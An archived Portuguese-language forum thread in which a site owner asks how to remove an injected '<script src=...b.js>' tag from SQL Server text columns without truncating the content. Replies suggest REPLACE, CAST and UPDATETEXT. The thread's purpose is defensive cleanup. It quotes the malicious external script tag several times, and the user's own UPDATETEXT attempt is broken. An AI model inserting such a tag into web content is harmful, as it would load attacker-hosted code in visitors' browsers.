Ir para conteúdo

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

BryanStaR

Remover parte de campo text sem converter para vchar

Recommended Posts

Pessoal estou com o seguinte problema eventualmente está sendo inserido uns scripts indesejados no meu site o servidor de hospedagem alega ser sql insection mais eu fiz vários testes e não está vulnerável a ataques de sql injection.

 

então para retirar os scripts dos campos eu uso a sintaxe

 

UPDATE textos SET texto= REPLACE(CONVERT(VARCHAR(8000),texto),'<script src=http://www.logid83.com/b.js></script>','')

 

só que tem textos que ficam cortados porque ao converter em varchar ele limita os caracteres e em tipo text ele aceita bilhares de caracteres alguem sabe como tirar os scripts sem precisar converter?

Compartilhar este post


Link para o post
Compartilhar em outros sites

Não precisa de vchar...

 

texto = REPLACE(texto,"<script src=http://www.logid83.com/b.js></script>","")

Compartilhar este post


Link para o post
Compartilhar em outros sites

Esse replace você está tentando fazer direto no banco de dados? A forma que eu falei tem que ser fora, você armazena em uma variável, faz o replace e depois faz o update no banco.

Compartilhar este post


Link para o post
Compartilhar em outros sites

usando a função CAST ao invés de CONVERT não resolve?

 

Acho que sua questão será melhor respondida no ofrum de SQL pois você quer fazer direto na query

Compartilhar este post


Link para o post
Compartilhar em outros sites

é o que preciso será para fazer direto numa query e sem converter o tipo de dados somente apagar o script e manter o resto que tinha no campo.

 

isto eu devo postar no forum de sql? tem como mover para la?

 

valew a ajuda.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Não cheguei a tentar mais dá para usar CAST no query no sql management? e como que ficaria a sintaxe?

 

o que eu preciso não é converter o tipo de dado o que preciso é o seguinte

 

o campo está prenchido

 

"texto texto texto texto texto texto texto texto texto texto <script src=http://www.logid83.com/b.js></script>"

 

eu quero apagar o <script src=http://www.logid83.com/b.js></script> para ficar

 

texto texto texto texto texto texto texto texto texto texto

 

só que o campo é tipo text e não posso converter para varchar pois tem textos que tem mais de 4000 caracteres e se converter limita.

Compartilhar este post


Link para o post
Compartilhar em outros sites

o convert você está limitando a 8000 caracteres

 

tente CAST(coluna AS TEXT)

 

não sei se rola

Compartilhar este post


Link para o post
Compartilhar em outros sites

acho que deve ser por aí só que no exemplo que tem não é usando para apagar parte do conteudo de um campo da tabela alguem saberia como usar o updatetext para apagar apenas uma parte de um campo de uma tabela?

 

tentei desta forma

 

DECLARE @PtrVar BINARY(16)

DECLARE @InsertPos INT

DECLARE @DeleteLen INT

 

SELECT @PtrVar = TEXTPTR(ColF),

@InsertPos = (PATINDEX('%<script%', ColF) + 1),

@DeleteLen = ( PATINDEX('%/script>%', ColF) -

( PATINDEX('%START TAG%', ColF) + 1

+ 2 /* allow for blanks */ ))

 

UPDATETEXT TextParts.ColF

@PtrVar

@InsertPos

@DeleteLen

 

mais não deu certo.

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.